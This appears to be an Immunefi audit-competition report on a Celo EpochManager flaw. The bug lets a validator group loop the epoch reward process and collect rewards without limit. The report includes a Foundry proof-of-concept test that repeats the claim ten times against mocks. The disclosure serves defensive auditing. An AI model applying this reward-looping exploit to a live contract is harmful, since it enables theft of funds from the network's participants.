# #37058 \[SC-High] Theft of remuneration through claims processing loops. **Submitted on Nov 24th 2024 at 05:14:27 UTC by @innertia for** [**Audit Comp | Celo**](https://immunefi.com/audit-competition/audit-comp-celo) * **Report ID:** #37058 * **Report Type:** Smart Contract * **Report severity:** High * **Target:** * **Impacts:** * Theft of unclaimed royalties ## Description ## Brief/Intro In `EpochManager`, rewards are distributed by advancing the `EpochProcess`. However, if a group that has already received a reward loops through the process, it will be able to obtain as many rewards as it likes. ## Vulnerability Details In `setToProcessGroups`, rewards are assigned to the `group` corresponding to the `electedAccounts`. ``` processedGroups[group] = epochRewards == 0 ? type(uint256).max : epochRewards; ``` After that, rewards are distributed within the `processGroup`. ``` election.distributeEpochRewards(group, epochRewards, lesser, greater); ``` At this point, `processedGroups` are deleted, but `electedAccounts` are not deleted. ``` delete processedGroups[group]; ``` In other words, by starting `setToProcessGroups` again, rewards are assigned to the same groups corresponding to the `electedAccounts` again. ``` for (uint i = 0; i < electedAccounts.length; i++) { address group = validators.getValidatorsGroup(electedAccounts[i]); ``` By repeating this, `group` can obtain as many rewards as they like. In the case of `finishNextEpochProcess`, where the same process is executed in batches, the `electedAccounts` are deleted each time the process is executed. This is not a problem. ``` delete electedAccounts[i]; delete electedSigners[i]; ``` This problem occurs because there is no such process in `setToProcessGroups`. ## Impact Details A selected group of people can receive unlimited rewards. ## References . ## Proof of Concept First, as a preliminary preparation, modify the `distributeEpochRewards` of `MockElection`. In this mock, the value is simply assigned, but in the original function behaviour, the correct behaviour is to add. Therefore, modify it as follows. ``` function distributeEpochRewards(address group, uint256 value, address, address) external { //before //distributedEpochRewards[group] = value; //after distributedEpochRewards[group] += value; /** * below is original function in Election.so * function _distributeEpochRewards(address group, uint256 value, address lesser, address greater) internal { * if (votes.total.eligible.contains(group)) { * uint256 newVoteTotal = votes.total.eligible.getValue(group).add(value); * votes.total.eligible.update(group, newVoteTotal, lesser, greater); * } * * votes.active.forGroup[group].total = votes.active.forGroup[group].total.add(value); * votes.active.total = votes.active.total.add(value); * emit EpochRewardsDistributedToVoters(group, value); * } */ } ``` With this modification, the existing test will not fail. Now, we will begin the test of reward theft. As this is a repurposed version of an existing test, I have only written comments for the important parts. Please add the following contract to `EpochManager.t.sol`.\ ``` contract EpochManagerTest_UnlimitedReward is EpochManagerTest { address signer1 = actor("signer1"); address signer2 = actor("signer2"); address signer3 = actor("signer3"); address signer4 = actor("signer4"); address validator3 = actor("validator3"); address validator4 = actor("validator4"); address group2 = actor("group2"); address[] elected; uint256 groupEpochRewards = 44e18; function setUp() public override { super.setUp(); firstElected.push(validator3); firstElected.push(validator4); validators.setValidatorGroup(group); validators.setValidator(validator1); accounts.setValidatorSigner(validator1, signer1); validators.setValidator(validator2); accounts.setValidatorSigner(validator2, signer2); validators.setValidatorGroup(group2); validators.setValidator(validator3); validators.setValidator(validator4); accounts.setValidatorSigner(validator3, signer3); accounts.setValidatorSigner(validator4, signer4); address[] memory members = new address[](2); members[0] = validator1; members[1] = validator2; validators.setMembers(group, members); members[0] = validator3; members[1] = validator4; validators.setMembers(group2, members); address[] memory valids = new address[](4); valids[0] = validator1; valids[1] = validator2; valids[2] = validator3; valids[3] = validator4; election.setElectedValidators(valids); deployCodeTo("MockRegistry.sol", abi.encode(false), PROXY_ADMIN_ADDRESS); vm.prank(epochManagerEnabler); epochManager.initializeSystem(firstEpochNumber, firstEpochBlock, firstElected); travelNL2Epoch(vm, 1); elected = epochManager.getElectedAccounts(); election.setGroupEpochRewardsBasedOnScore(group, groupEpochRewards); } function test_UnlimitedReward() public { //This is a normal process. epochManager.startNextEpochProcess(); epochManager.setToProcessGroups(); epochManager.processGroup(group, address(0), address(0)); //The amount of remuneration is also fine. assertEq(election.distributedEpochRewards(group), groupEpochRewards); //The problem is that you can loop the process as many times as you like (in this test, we set it to 10 times). uint256 n = 10; for (uint256 i = 0; i < n; i++) { epochManager.startNextEpochProcess(); epochManager.setToProcessGroups(); epochManager.processGroup(group, address(0), address(0)); } //In addition to the first normal reward, you have received 11 rewards. assertEq(election.distributedEpochRewards(group), groupEpochRewards * (n + 1)); } } ```